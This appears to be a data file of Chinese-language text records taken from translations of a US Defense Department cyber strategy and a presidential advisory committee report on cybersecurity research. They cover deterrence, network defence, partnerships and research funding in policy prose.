    {"text": "以专门预案的形式，美国国防部已经在确认自身重要资产的网络漏洞方面取得成效，国防部已将许多重要资产确定为重要有形资产所依赖的有形网络基础设施并加以更加严格的保护。"},
    {"text": "虽然美国国防部在其发展网络能力的预算中已经优化了资源配置，但是持续的财政不确定性需要国防部在不断降低整体国防预算的条件下，规划建设其网络攻防能力。"},
    {"text": "（四）未来安全环境中的威慑 面对不断升级的威胁，国防部必须促进全面网络威慑战略的发展和实施，以防止重要的国家和非国家行为者攻击美国的利益。 鉴于在网络空间中国家和非国家网络行为者的种类和数量，以及破坏性网络工具的相对可用性，一项有效的威慑战略需要一系列的政策和手段，确保足以影响一个国家或非国家行为者的行为。 美国国防部认为，在建立网络特种部队和提升整体能力的同时，仅仅通过发布网络政策，对以美国利益为目标的网络攻击进行威慑不会收到成效，需要借助美国各部门整体的行动，包括宣示政策、实质性的通告和预警能力、防御姿态，制定有效的反应流程并增强美国网络及系统的整体弹性。 对网络空间中的国家和非国家团体的威慑将需要多个美国政府部门和机构通力合作。"},
    {"text": "在递交2011年国会的国防部网络空间政策报告《2011年美国网络空间国际战略》中，以及总统和国防部部长的公开声明中，美国政府已经阐明了其政策。"},
    {"text": "● 反制：虽然美国国防部在建设网络特遣部队方面取得了进展，但美国国防部必须增强其防御能力，以保卫国防部网络和国家不受到复杂的网络攻击，必须与其他部门、机构、国际盟友和合作伙伴，以及民营企业一道工作，加强威慑力量。 ● 恢复能力：国防部现有的能力不能保证每次都能成功挫败网络攻击，国防部有必要投资于恢复能力和冗余系统，以便在面对针对国防部网络的破坏性或毁灭性网络攻击时，能够继续开展业务。"},
    {"text": "为了使恢复能力成为一种有效的威慑力量，政府的其他机构必须与重要基础设施所有者和经营者以及民营企业开展更广泛的合作，建立恢复及冗余系统，以抵御潜在的攻击。"},
    {"text": "信息源是有效的网络威慑战略的一个基本部分，匿名制使国家和非国家团体有机会进行恶意网络活动。 关于情报、信息源和警告事项，美国国防部和情报部门已经投入了大量资金在所有来源收集、分析和传播手段上，所有这些都有效减少了在网络空间中国家和非国家行为者的匿名行为。"},
    {"text": "情报和信息源手段有助于最终确定行为者的网络角色、识别攻击的源点，以及确定战术、技术和程序。 信息源使国防部或其他机构可以针对来自外部的网络攻击，进行回应与反制。 首先，公共和民用的信息源可以在阻止网络行为者进行攻击方面发挥重要作用。"},
    {"text": "其次，网络攻击能力为国家和非国家行为者提供了打击美国利益的能力，有可能引发美国的军事反应，但这足以对美国国家安全产生重大威胁，引发某种非军事反应。"},
    {"text": "（一）战略目标一：建立并维护预备力量和能力，实施网络空间运作 为了在网络空间中有效运作，国防部要求部队和人员都接受最高标准的训练，准备好并配有同等最佳的技术能力。"},
    {"text": "（二）战略目标二：保卫国防部信息网络，保护国防部数据，规避国防部任务风险 虽然美国国防部无法避免每个网络和系统受到入侵——国防部的整体网络攻击面太大以至于无法抵御所有的威胁，又因过于庞大而无法关闭所有漏洞——但国防部必须采取措施确定、优化并捍卫其最重要的网络和数据，以便有效运行。 如果针对美国国防部网络和数据的攻击成功，或者国防部所依赖的用于运行和应变计划的重要基础设施部分被扰乱了，国防部还必须计划和实践在一个退化和被破坏的网络环境中运行。 最后，美国国防部必须提高技术和创新标准，通过提高网络防御能力，保持威胁的领先地位，包括通过建立和雇用更多联合信息环境（JIE）中的防御网络体系结构。 在国防部网络之外，国防部必须和民营企业一道，帮助保护国防工业基地贸易数据，并准备协助其他机构，保护美国网络和数据免受网络攻击和被网络间谍活动。 （三）战略目标三：做好准备，保卫美国国土和美国重要利益不受有重大后果的破坏性或毁灭性网络攻击 国防部门必须配合其机构间的伙伴、民营企业，以及盟军和伙伴国，威慑或在必要时击败对美国本土和美国利益造成重大后果的网络攻击。 国防部必须发展其情报、警告和运作能力，在影响美国的利益之前，就削弱复杂和恶意的网络攻击。 在符合所有现行法律和政策的前提下，国防部需要关于全球网络和系统、对手能力和恶意软件经纪人及市场的小型、详细、预测和可操作的情报。 为了保卫自己的国家，美国国防部必须与政府的其他机构建立伙伴关系，准备进行联合的网络行动，以阻止并在必要时战胜网络空间中的入侵。"},
    {"text": "（四）战略目标四：建立并维护可行性网络可选项，规划这些可选项的使用，在各个阶段控制冲突逐步升级，打造冲突环境 在紧张局势加剧或公开的敌对行动期间，国防部必须能够给总统提供不同种类的管理冲突升级选项。"},
    {"text": "（五）战略目标五：建立并维护强大的国际联盟和合作关系，阻止共同威胁，加强国际安全和稳定 美国国防部的三项网络任务都需要与外国盟友和伙伴密切合作。 按照国际网络协议的约定，国防部将在网络安全和网络防御方面加强伙伴关系的能力建设，并在适当情况下深化业务伙伴关系。 鉴于网络资源的旺盛需求和相对稀缺，国防部门必须做出艰难选择，在美国国家利益攸关的领域，关注伙伴关系国的能力建设。 未来五年，除了在其他地区致力于持续伙伴能力建设，美国国防部将专注于参与国际社会：中东、亚太地区和关键的北约盟国。"},
    {"text": "首席网络顾问，国防部部长办公室，负责采集、技术和后勤的国防部副部长办公室以及联合参谋部将配合国防部，优化和监督执行这一战略和目标，分配牵头落实部门并支持负责管理每个目标。"},
    {"text": "为了做好国防部关于网络人员的重大投资，并帮助实现这一战略目标的主要部分，国防部的第一要务是发展一支准网络特遣部队和相关的网络工作队伍。"},
    {"text": "美国网络司令部将与其他部门、机构一道制定相关要求，为了使网络部队跨境和跨网络执行任务，要创建一个进行联合培训（包括练习和任务排练）、实验、认证以及评估和发展网络能力和战术、技术和程序的训练环境。"},
    {"text": "为了补充国防部具有文职人员身份的网络相关人员，国防部必须能够从美国最好的网络安全和信息技术公司聘请技术主题专家，在国防部内的工程和分析方面扮演独特的角色。"},
    {"text": "与机构间伙伴、一个或更多的教育机构以及国家和民营部门伙伴合作，美国国防部将继续支持与创新型劳动力发展伙伴关系，该关系注重网络安全和网络防御的技术和政策层面。"},
    {"text": "美国国防部研究和发展团体，以及现有和新兴的民营企业伙伴可以为国防部和国家提供重要的发展跨越式演进技术的优势，以在网络空间中捍卫美国的利益。"},
    {"text": "联合参谋部在美军网络司令部和其他国防部部门的支持下，将提议、收集、分析并向首席网络顾问上报一系列适当的指标，来衡量CMF的业务能力。"},
    {"text": "（二）战略目标二：保卫国防部信息网络，保护国防部数据，规避国防部任务风险 ● 构建联合信息环境（JIE）统一安全体系结构。 国防部将建立国防部信息网络，以满足JIE统一安全体系结构。"},
    {"text": "它将帮助美国国防部发展并遵循同等最佳网络安全实践，其小型网络足迹将允许美军网络司令部、战斗命令和国防部部门维护网络威胁的综合态势感知及缓解方法。"},
    {"text": "JIE统一安全体系结构将启用稳健的网络防御，并将关注重点从保护特定服务的网络和系统转向以统一的方式保护国防部的企业。 JIE 统一安全体系结构必须用强化的网络态势感知能力开发，为响应验证要求而部署，而且能够顺应未来的防御措施。 作为JIE规划的一部分，国防部将开发一个框架，用于开发和将新防御技术融入美国国防部网络安全体系结构中，包括基于异常检测功能、数据分析和先进的加密方法。"},
    {"text": "联合部队总部-国防部信息网络将协调网络防御和降低国防企业中国防部行动和任务的网络风险。 美国国防部将评估、验证和充分实施联合部队总部-国防部信息网络理念，以安全运作国防部网络、捍卫美国国防部网络和降低国防部任务的网络风险。"},
    {"text": "● 减少已知安全漏洞。 国防部将开展一项工作，这项工作会减少所有给国防部网络和数据带来高风险的已知漏洞。 除了零日漏洞，国防部网络和系统的最大威胁之一在于潜在的对手可以利用的已知高危漏洞。"},
    {"text": "美国国防部首席信息官（CIO）将带头执行自动修补管理能力，分发软件和配置修补程序，更新和修复，以减少国防部网络和系统上的已知主要漏洞，对抗威胁。"},
    {"text": "国防部将确定当前的CNDSP进程是否足以保护网络免受已知的网络空间威胁，当前的CNDSP部队培训和装备是否足以抵御高级威胁。 最后，美国国防部将确认CNDSP部队能否融入更广泛的网络指挥和实施控制，以及在面对存在于CNDSP和CPT保护网络和数据中的网络威胁时，如何综合实施。"},
    {"text": "国防部必须确定并规划保卫支持国防部重大任务的网络。 国防部必须对优先资产进行谨慎评估，必须捍卫网络空间以保证完成任务，履行职能并有效地保护资产。"},
    {"text": "将网络融入任务保险评估。 国防部将会把网络安全要求和评估纳入国防部任务保险方案中，并相应地更新政策。 目前国防部各部门采取不同的办法衡量和评估任务保险的网络风险。 美国国防部将开发一项联合任务保险评估方案，包括网络安全评估、网络安全要求和网络业务。"},
    {"text": "提高武器体系的网络安全。 美国国防部将评估并倡议提高当前和未来武器系统的网络安全，这样做是基于运行的要求。 对于所有国防部将获得或购买的未来武器系统，国防部将要求特定的网络安全标准，以满足网络系统的要求。"},
    {"text": "军事行动计划必须充分考虑在退化的网络环境中运作的能力； 武装力量必须能够在退化的网络环境中采取军事行动，在这种环境中访问网络和数据是不确定的。"},
    {"text": "国防部已发展了成熟的“红军”，可以测试重要网络和任务系统存在的安全漏洞，并更好地准备其网络防御力量。 展望未来，国防部必须将“红军”能力专注于优先网络和任务系统，以保证国防部有能力执行其最重要的任务。 作为这项工作的一部分，国防部每一项主要演练都应包括网络“红军”，在被对手扰乱国防部运行的现实场景中测试美国国防部的网络防御。"},
    {"text": "根据其现有和计划中的力量结构，国防部将制定一个框架，包含民事当局的防御支持（DSCA）功能，在紧急情况下，按照指令支持国土安全部和其他机构以及各州和地方当局，帮助其捍卫联邦政府和民营企业。"},
    {"text": "国防部每年的演练计划（包括网络警卫在内），将包括与国土安全部和联邦调查局行使应急能力，可能需要紧急分配力量，在伙伴机构领导下帮助保护重要的基础设施。"},
    {"text": "美国国防部将与国民警卫队合作，定义国民警卫队配合、培训、咨询和协助（C/TAA）的角色，并通过网络卫兵 16-1 来细化执行情况。 根据其现有和计划的力量结构，国民警卫部队将协调、培训、咨询和协助国家和地方机构及国内重要基础设施，并为了支持国家目标，向执法、国土防卫和民事当局防御支持活动提供帮助。"},
    {"text": "美国国防部将继续评估《防务采购法规补充条例》（DFARS）规则和相关指导，以确保它们随着时间不断成熟，以与已知的标准相一致的方式保护数据免受网络攻击对手的破坏，包括由美国国家标准与技术研究所（NIST）颁布的标准。"},
    {"text": "因 DIB 公司的证书颁发机构清除了防御承包商站点，防御安全服务将扩大教育和培训计划，包括国防部人员和DIB公司承包商的材料，以提高他们的网络威胁意识。"},
    {"text": "● 加强国防部采购和采集网络安全标准。 为了保卫美国国防部网络，国防部必须加强国防部网络采集和采购项目的网络安全要求，将网络安全标准纳入合同车辆的研究、开发和采购中。 美国国防部将指定额外的行业网络安全标准，以满足国防部任意部门的采购项目。"},
    {"text": "美国国防部首席信息官，与国防部采集、技术和后勤副部长办公室合作，将评估并更新特定信息系统安全控制，这是《防务采购法规补充条例》的基础，在NIST和DFARS标准范围内规定防御承包商。"},
    {"text": "最后，国防网络犯罪中心，国防部部长办公室的首席网络顾问，国防部采集、技术和后勤副部长办公室将与服务损害评估管理办事处协作，简化风险和损害评估进程，更好地告知维持、修改或取消被渗透的程序的决定。"},
    {"text": "军事部门和国防部情报副部长，与首席网络顾问一起协商，制订战略提交国防部部长批准，强化军事部门反间谍机构的能力和权威，识别、归类并抵御网络入侵者。"},
    {"text": "该战略将指定国防部的反情报机构如何更加有效地与更广泛的美国情报和执法机构合作，调查及操作人员和技术，以遏制针对美国及其盟友和伙伴的网络知识产权窃取。"},
    {"text": "（三）战略目标三：做好准备，保卫美国国土和美国重要利益不受有重大后果的破坏性或毁灭性网络攻击 ● 继续发展情报和预警能力，预测威胁。 为了保卫国家免受网络攻击，美国国防部将更广泛地与情报机构合作，增强敌情收集能力，在对美国本土和美国利益产生影响前，扰乱网络攻击。"},
    {"text": "美国国防部将与联邦调查局、中央情报局、国土安全部和其他机构建立关系并整合能力，为总统提供范围最广的选择，应对可能对美国造成严重后果的网络攻击。"},
    {"text": "美国国防部将配合美国国土安全局改善先进网络安全服务项目，并鼓励其他重要基础设施实体参与，特别侧重于提高国防重要基础设施参加者的数量。"},
    {"text": "为了提高共享态势感知，美国国防部将与国土安全局和其他机构合作，制定连续、自动化、标准化机制，与每一个美国政府的重要伙伴、重要同盟和合作军队、国家和当地政府及民营企业分享信息。"},
    {"text": "建立国防科学委员会的网络威慑特别小组，美国战略司令部（USSTRATCOM）将配合联合参谋部和国防部部长办公室，评估国防部门的能力，阻止特定国家和非国家行为者在美国本土和损害美国的利益方面进行有重大后果的网络攻击，包括生命损失、重大破坏财产或对美国外交和经济政策利益产生重大影响。 在开展分析时，美军战略司令部必须确定国防部是否具备溯源和遏制重要威胁所需的能力，威胁来自这类攻击行动，并推荐特殊措施，美国国防部可以采取这些措施提高其网络威慑态势。"},
    {"text": "（四）战略目标四：建立并维护可行性网络可选项，规划这些可选项的使用，在各个阶段控制冲突逐步升级，打造冲突环境 将网络可选项纳入规划。"},
    {"text": "为了满足由部队部署指南、作战指挥计划和其他战略指导文件所定义的战略结束状态，国防部将与美国政府机构以及美国的盟友和合作伙伴一道，将网络可选项纳入作战指挥规划之中。"},
    {"text": "为推动这项工作，联合参谋部将与美军战略司令部一道，将要求同步和纳入规划之中，并在网络特遣部队的结盟、部署、委派和分配方面，向国防部参谋长联席会议主席提供建议。"},
    {"text": "根据其现有和计划的力量结构，国防部将与关键的盟友和伙伴一道，建设伙伴能力，帮助保护重要基础设施以及国防部任务和美国利益所依赖的关键资源。 国防部将与美国政府的其他机构一起定期工作，建设合作伙伴能力。"},
    {"text": "作为网络对话和伙伴关系的一部分，美国国防部将与重要的中东盟友和伙伴一道，提高它们的能力来保护其军事网络以及美国利益所依赖的重要基础设施和关键资源。"},
    {"text": "作为与亚洲盟国的更广泛网络对话的一部分，美国国防部将与重要盟友和伙伴一道，提高其能力，以保护它们的军事网络和美国及其盟国的利益所依赖的重要基础设施及关键资源。 以符合国防部《国际网络空间安全合作指导意见》的方式在亚太地区建设新型战略伙伴关系，国防部将与亚太地区的重要盟国一同建设网络能力，使美国和盟国利益的风险最小化。"},
    {"text": "通过这一战略过程，作为中美防务磋商会谈和相关对话的一部分，比如网络工作组，美国国防部将继续与中国保持商讨，增进两国在网络空间中军事原则、策略、角色和任务方面的理解和透明度。"},
    {"text": "国防部在实施这一战略过程中的财务选择，在几年内，将产生国家和全球影响，国防部必须以有效和高效益的方式运行，保证其投资获得最佳回报。"},
    {"text": "在2014年《国家国防授权法案》（NDAA）中，国会要求国防部为国防部部长指定一名首席网络顾问，审查军事网络空间活动、网络特遣部队和进攻性及防御性网络行动和任务。"},
    {"text": "● 2014年NDAA还规定，这位首席网络顾问要汇总网络专业知识和关键组织的观点，打造一支拥有关键队员的部内团队，以确保有效治理国防部内部的网络问题。 FY14NDAA 为首席网络顾问确定的职责不应被解释为，在与网络相关的职责和权利方面，能够影响国防部办公室采集、技术及后勤副部长，政策副部长，情报副部长，人事和准备副部长或者任何其他主要工作人员助理（PSA）的现行职责和权力。"},
    {"text": "● 建立一个高级行政论坛。 高级行政论坛隶属于并向CIMB汇报工作，它将提供关于关键网络问题的首次高级别协作。 高级行政论坛将向CIMB推荐行动方针，并将与其他安全协调员办公室和联合参谋部的管理机构协作，以促进工作统一和在适当层次上解决管理问题。 如果在计划和预算审查过程中，预算或财务出现问题，首席网络顾问将使用高级行政论坛和CIMB向代理的管理行动小组或其他财政和预算组织协调建议，如果合适即通过问题小组检查选择和方案。"},
    {"text": "为符合总统的指导意见，美国国防部将配合和简化其网络运行和网络安全策略管理，以及在当前文件中需要修订、已查明的差距、重叠、接缝、冲突和领域。"},
    {"text": "通过与国防部部长的首席网络顾问，国防部采集、技术和后勤副部长办公室，以及海岸和方案评估理事办公室相配合，美军网络司令部将通过CIMB向国防部部长提供短期和长期建议，这些建议涉及组织结构、指挥和控制机制、工作规则、人员、功能、潜在运作差异。"},
    {"text": "自从2011年制定其首个网络策略以来，国防部已经在建设网络能力、发展组织和计划，以及培养捍卫国家和其利益的必要伙伴关系上取得了重大进展。"},
    {"text": "报告篇 网络空间安全：迫在眉睫的危机 一、执行摘要 当前，对于美国通信、商业和管理方面涉及的实体性基础设施而言，信息技术（IT）基础设施显得至关重要，但是，它却非常容易受到恐怖分子和罪犯的攻击。"},
    {"text": "连接各种信息技术系统的网络应用开始呈现爆炸性的增长，使其能够以相对容易的方式获取信息，从而实现在更大距离范围内进行通信并控制这些系统。"},
    {"text": "今天，敌方有可能在几分钟的时间内入侵世界各地的数百万台计算机，再利用这些计算机来攻击国家的关键基础设施，渗透到敏感系统或者窃取宝贵的数据。"},
    {"text": "而且，这些破坏分子正在快速占领我们的国土，大量的受损网络及其造成的财务损失就是明证。 除了经济损失之外，网络也给我们的国家安全带来了诸多显而易见的风险。"},
    {"text": "预计全球信息网（GIG）每年的支出都在1000亿美元，其目标是通过互连武器、情报和军事人员来改善军用通信能力，它代表了一种关键性的网络。"},
    {"text": "我们需要从数十年的失败中吸取教训，进而开发安全协议和惯例，以保护我国的信息技术基础设施，还要充分地培训和教育大量相关专家，以便有效地利用这种机制。"},
    {"text": "问题 1 ：联邦政府对于民用网络空间安全基础研究的拨款支持水平 因为市场规律让民营企业投资远离研发领域，应用现有的技术来开发适销产品赚取利润，所以，对于网络空间安全的长期、基础性研究，要求联邦政府给予重大投资支持。 但是，联邦政府对于网络空间安全研究的拨款，已经从长期的基础性研究转向短期研发，从民用研究转向军用和情报用途。"},
    {"text": "美国信息技术咨询委员会发现：联邦政府的研发预算不能为民用网络空间安全领域内的基础研究提供足够的拨款，建议美国国家科学基金会（NSF）每年在这个领域内增加 9000万美元的预算支出。"},
    {"text": "其他机构也应对民用网络空间安全基本研究实质性地增加拨款，尤其是美国国防高级研究计划署（DARPA）和美国国土安全局（DHS），应当划拨这笔款项，适当地关注“优先考虑的网络空间安全研究”中列出的十个重点领域。"},
    {"text": "问题 2 ：网络空间安全基本研究机构 改善美国的网络空间安全态势要求训练有素的合格人员投入研发、部署和集成全新的网络空间安全产品和实践中。"},
    {"text": "目前，按美国信息技术咨询委员会估计，在美国的学术机构中只有不到250位较为活跃的网络空间安全或者网络保护专家，其中多人在此领域都缺乏正式的培训或者丰富的专业经验。"},
    {"text": "由于对长期民用网络空间安全研究领域的投资都是不充分和不稳定的，使得这种情况进一步恶化，而大学机构却有赖于这些研究来吸引和留住教职人员。"},
    {"text": "美国信息技术咨询委员会发现：美国的网络空间安全研究机构规模太小，不足以支撑为美国提供保护的网络空间安全研究和教育计划。 美国信息技术咨询委员会建议：联邦政府应当努力在研究性大学招聘和保留网络空间安全研究人员和学生，以期在十年后将民用网络空间安全基本研究机构的规模至少扩大一倍。 尤其是，联邦政府应当增加对于民用网络空间安全方面的稳定拨款，并且应当支持相关计划，使得研究人员能够从其他领域转入网络空间安全研究领域。"},
    {"text": "在联邦政府支持的信息技术研发成果转化为民营企业内广泛应用的产品和最佳实践方面，美国拥有悠久的成功历史，甚至催生了全新的十亿级产业。"},
    {"text": "问题 4 ：联邦网络空间安全研发协调和监督 联邦政府当前采取的网络空间安全对策产生的一个关键问题是，政府对于网络空间安全研发行业开展的协调效果不佳。"},
    {"text": "为了对这种情况进行整顿，总统信息技术咨询委员建议：关键信息基础设施保护署（CIIP）跨界工作组应当重点负责协调联邦网络空间安全研发工作。"},
    {"text": "二、网络空间安全：国家的重要议题 （一）在充斥危险的世界里相信系统的力量 当前，美国的信息技术基础设施依然能够依靠美国的技术创新（例如个人计算机和互联网）而得到不断进化，它已经构成一张巨大的计算机网络（从超级计算机到手持设备），并且互联网还催生了社会各个领域赖以生存的高速通信、信息访问、高级计算、处理和自动化程序系统等。"},
    {"text": "主要是连接到互联网的台式计算机，以便收发电子邮件和即时信息、交流和下载声音和图像、在线购物、进行信息研究、互动游戏，甚至使用网络电话。"},
    {"text": "美国也在努力研发信息技术，从而驱动产业和政府的日常运行，并且依赖于不同规模、不同功能的组织机构，包括设计、生产、制造、存货、销售、工资发放、信息存储和检索、教育和培训以及研究和开发等。"},
    {"text": "计算机、大容量存储器、高速网络，以及诸如路由器和转换器、系统、应用软件、内置和无线设备等网络元件，甚至是互联网本身等这些技术，如今对于美国的所有关键性基础设施而言也至关重要。"},
    {"text": "这些敏感性的物理装置和程序对信息技术基础设施的依赖，使得这些信息技术基础设施自身变得十分重要，尤其是对于保护国家利益而言变得更加重要。"},
    {"text": "它依赖于数据采集和监视控制系统来采集关于系统运行的信息，帮助调度和控制发电，优化电力生产，对于不断变化的电力需求和控制分配做出响应，并对电力公司系统内各种不同的发电和存储设施进行协调。 数据采集和监视控制系统还被越来越多地用于将电子公司融入地区或者国家电网，以便优化电力生产，最小化生产和配电成本，并提供备份服务。"},
    {"text": "2.当前，计算机、网络和网络元件是美国所有关键基础设施的基本构成要素 今天，互联网也被用于管理商业和政府部门所提供的基本服务，如电子金融交易、执法调度和支持、应急响应、社区警戒和军事通信等。"},
    {"text": "为了确保最为敏感系统的可靠性和安全性，银行业和电力行业都会使用专用网络，但是这些网络很容易遭到网络攻击，致使网络节点瘫痪，以至于无法访问数据和服务。"},
    {"text": "例如，这些共享的互联网连接，甚至不必直接连接到互联网，蓝宝石蠕虫（Slammer）病毒程序就可以乘虚而入，进而造成主要银行的自动取款机系统和航空公司的计算机系统瘫痪。"},
    {"text": "1.无所不在的互联是广泛利用弱点的主要渠道 无所不在的互联，首先由互联网及其扩展局域网、广域网、无线和混合网络展现出来，已经催生了全新的产业，复兴了落后的生产力，为研讨和教育创造了全新的途径，开启了全球合作科学和工程发现的空前时代。"},
    {"text": "尽管在最近几年里，美国努力在计算机系统、网络和软件中集成更多安全元件，但是，诸如恐怖分子、敌对国家、有组织犯罪或者恶意黑客等敌对势力，都可以通过远程扩散对我们造成国家级或者国际级的破坏效应。 2.敌对势力的行为可以远程扩张 在过去几年里，诸如红色代码 [1] 蠕虫病毒程序（丑化全球网站以及/或者发动分布式拒绝服务攻击 [2] ）和蓝宝石蠕虫病毒程序（2003年1月，对美国银行的自动取款机网络造成了严重破坏）等，预计已经造成了数以十亿计美元的损失。"},
    {"text": "美国国防部通过从互联网上断开无保密网络（无保密互联网协议路由器网络）的方式，回应红色代码蠕虫病毒程序造成的攻击，以保护系统免遭传染。"},
    {"text": "这种防护性的措施瘫痪了工程师军用公司对美国密西西比河的水闸控制，因为无保密互联网协议路由器网络的主要用途是通过互联网传输水闸命令。"},
    {"text": "偷窃用户身份最简单的一种方法被称为“网络仿冒”，这种技术可以使用假冒的电子邮件信息和欺诈性网站，从而诱骗收件人泄露个人财务数据。"},
    {"text": "正如总统信息技术咨询委员会在1999年发布的报告 [3] 中指出的那样，已经形成规范的软件开发方法并不能提供信息技术基础设施所要求的高质量、可靠、安全的软件。"},
    {"text": "今天，和癌症一样，脆弱的软件容易遭到入侵和篡改，从而对先前健康的软件造成破坏，被传染的软件还可以自我复制，并且在网络中存在，对其他系统再造成破坏。"},
    {"text": "和应对癌症一样，预防性措施和研究是很关键的，前者是为了将今天的破坏降低到最小限度，而后者是为了建立知识和能力基础，以便协助明天的网络空间安全专家降低风险，并将长期破坏降低到最小限度。"},
    {"text": "将来，当敌对势力（包括国内外的敌对势力）发展出越来越高级的能力，进而能够将恶意代码插入关键软件时，我国甚至可能会面临越来越具有挑战性的问题。"},
    {"text": "在组织机构和个人之间，关于网络空间安全事故的频率、影响、范围和成本的大部分指标和研究，都是为了应对这些不断增长的威胁和各种攻击。"},
    {"text": "美国赛门铁克软件公司发布的互联网安全威胁报告 [4] 称：从2004年1月到6月，受到“蠕虫军团”破坏的最新主机比例从不到2000台/天，增长到了30000台/天。"},
    {"text": "当受损主机混入“蠕虫军团”时，它们可以被用做针对给定目标启动拒绝服务攻击的平台，或者在所有人以及操作者不知情或者不许可的前提下，向其发送“垃圾”电子邮件。"},
    {"text": "例如，在过去十年里，经历病毒灾难的组织机构（被定义为同时受到25次传染或者更多传染冲击的组织机构）比例几乎每年都在增长，2003年，有92%的组织机构报告了这样的事故。"},
    {"text": "美国赛门铁克软件公司报告称：被全球100强控制的网络中，有40%的网络会被利用，进而形成敌对的蠕虫流量，尽管这些公司已经采取了各种防护性措施。"},
    {"text": "在某些案例中，系统设计可以达到高级的程度，因此在部署之前不能理解其中的弱点。 在其他案例中，可以将某些弱点融入系统中，因此开发者缺乏技术知识或者不能执行最佳实践。"},
    {"text": "但是，很明显，当计算机、手机和嵌入式系统在全球扩散时，或者当扩散“通常运行”高速或者宽带连接时，如果没有采取行动，信息技术弱点就会变得更为严重，这样一来，攻击扩散就会变得更快，甚至会比成为规范的临时连接低带宽调制解调器威力更强大。"},
    {"text": "（六）数不清的补丁并不是答案 计算机科学家日益达成了广泛共识：修补和篡改网络、计算系统和软件进而“增加”安全性和可靠性，在短期内是有必要的，但是在应对美国网络空间安全需求方面还不充分。"},
    {"text": "在白宫科学委员会发表声明之前，计算机安全专家和总统信息技术咨询委员会成员尤金·斯帕福德证实：安全问题并不是那么容易解决的问题，这就使得我们的总体任务变得更为复杂。"},
    {"text": "今天我们正使用的软件和硬件都是由那些接受很少或者根本没有接受过安全培训的人员部署的，并且使用的设计方法不安全，开展的测试并不规范。"},
    {"text": "但是斯帕福德教授发出评论建议称：即使所有的最佳实践都完全部署到位，如果缺乏任何根本的全新途径，我们仍旧会需要数不清的补丁，并且“堵塞堤防的漏洞”。"},
    {"text": "在这种模型里，在信息系统或者网络“内部”的元素可以得到保护，以免受到试图渗透访问或者控制其数据和系统资源的“外部”攻击者的攻击。"},
    {"text": "还是操作劣势，如被贿赂或者欺骗而泄露其口令的雇员），攻击者就拥有完全的行动自由，并且可以破坏网络中连接的任何系统，其所耗成本可能和仅破坏一套系统无异。"},
    {"text": "网络空间安全中更为现实的模型所涉及的一种元素为相互怀疑原则：每套系统或者网络元件通常会怀疑其他元件，如果要访问数据和其他资源，必须不断重新授权。"},
    {"text": "在数字革命的较早阶段，联邦政府需要对基础研究进行投资，从而为其研究渠道注入最新概念、技术、基础设施原型，以及民营企业所需的训练有素的工作人员，完成其网络空间安全任务。"},
    {"text": "政府也可以推广技术转让机制，从而加速采用行业内的这些最新技术，部分技术可以通过支持性能指标、模型、数据集和测试台来实现，可以评估最新产品和最佳实践。"},
    {"text": "大学和国家实验室所开展的无保密研究在相关领域培养了训练有素的人才，并带来了附加收益，同时大学毕业生也可以在相关行业、大学和政府部门实现就业。"},
    {"text": "这种研究的成果处于当前许多十亿美元级信息技术行业的核心位置（这些行业可以改变我们的生活、驱动我们的经济发展，也可以提高我们的安全性。"},
    {"text": "联邦政府支持的基础研究、行业支持的应用研究以及行业产品发展之间高度有效的相互作用导致的结果是，今天的美国成为信息技术行业的全球领导者。"},
    {"text": "今天，因为我们并不知道怎样建模、设计和创造集成具有完整属性（例如相互怀疑或者任何其他基础安全创新）的系统，所以联邦政府需要扩展其网络空间安全研发方面的综合努力。"},
    {"text": "如果缺少重大的网络空间安全需求，那么信息技术供应商基本上会选择为消费者愿意购买的功能添加全新的菜单（具有讽刺意味的是，添加最新的功能和复杂性通常会导致引入更多的安全性弱点）。"},
    {"text": "研发可能提供关于操作可行性的相关知识和证据，但是如果缺少消费者对安全的需求，那么供应商很难有更强的动力将最新的安全技术纳入其产品中。"},
    {"text": "图3.1 联邦政府支持的基础性研发的历史作用 图3.2 创造数十亿美元的信息技术产业板块 （九）网络空间安全非技术层面注意事项 总统信息技术咨询委员会认为：从能够剔除弱点的技术研发，到能够避免原始弱点的更好设计，只能构成其中一种要素，然而毋庸置疑，其中最为重要的要素就是有效的网络空间安全问题。"},
    {"text": "还有若干涉及网络空间安全的领域，其中可能存在利益冲突和需求； 作为网络空间安全的任何全面途径的组成部分，这些矛盾需要得到进一步解决。"},
    {"text": "例如，在努力避免攻击或者追查网络罪犯的过程中，我们有必要了解互联网上数据信息包的来源，但是有人认为这些知情权会和个人隐私权或者匿名权产生矛盾。"},
    {"text": "三、联邦网络空间安全研究和发展：当前重点工作、未来影响 为了对联邦政府在支持网络空间安全研发方面发挥的重要作用开展评估，总统信息技术咨询委员会检查了当前的联邦网络空间安全综合研发情况。"},
    {"text": "委员会机构投资分析发现：联邦政府历来重视基础性研究，并且无保密研发已经发生了多元演化，将我们长期的物理和经济安全置于危险的境地。"},
    {"text": "（一）军用和情报机构的网络空间安全研发状况 由于认识到地理分布计算系统之间的潜在通信利益，美国国防部高级研究计划局研发了阿帕网，即今天互联网的雏形。"},
    {"text": "尽管陆海空三军的研究机构已经拥有规模较小且极具价值的网络空间安全计划，但是美国国防部高级研究计划局仍将对美国国防部网络空间安全计划进行最大规模的投资。"},
    {"text": "委员会机构投资分析发现：联邦政府历来重视基础性研究，并且无保密研发已经发生了多元演化，将我们长期的物理和经济安全置于危险的境地。"},
    {"text": "但是，截至2004 财务年度，美国国防部高级研究计划局对于网络空间安全研发方面的基础性投资 [8] 极少（如果有的话）。 然而，美国国防部高级研究计划局却更多地依赖美国国家科学基金会支持的研究人员来推动基础性研究，借以研发全新的网络空间安全技术，从而使美国军方受益。"},
    {"text": "美国国家安全局（NSA）和美国高级研发活动协会（ARDA）对情报机构内开展的网络空间安全研发计划给予了大力支持。 美国国家安全局（NSA）网络空间安全研究（机构将其称为信息保证）得到了其信息保证研究小组（R2）的支持。"},
    {"text": "美国高级研发活动协会（ARDA）的网络空间安全研发资金达到了大约1700万美元，占到了学术研究支持投入的三分之一，并且大部分都没有进行加密。"},
    {"text": "（二）联邦政府在民用网络空间安全研究和开发方面的投资 没有致力于军用或者情报方面研发（在本报告中指的是“民用”研究）的机构，在美国信息技术基础设施（包括网络空间安全）的进化过程中发挥着关键作用。"},
    {"text": "机构科技董事会的各种复杂任务（网络空间安全研发计划所在的任务）包括以下责任：开发相关技术来抵制大规模杀伤性武器，包括放射性武器、核武器、生化武器等。"},
    {"text": "美国国土安全部大部分网络空间安全研发活动都是非密的短期活动（只有大约150 万美元投资于长期研究），并且和美国国家科学基金会合作资助了其中某些工作。"},
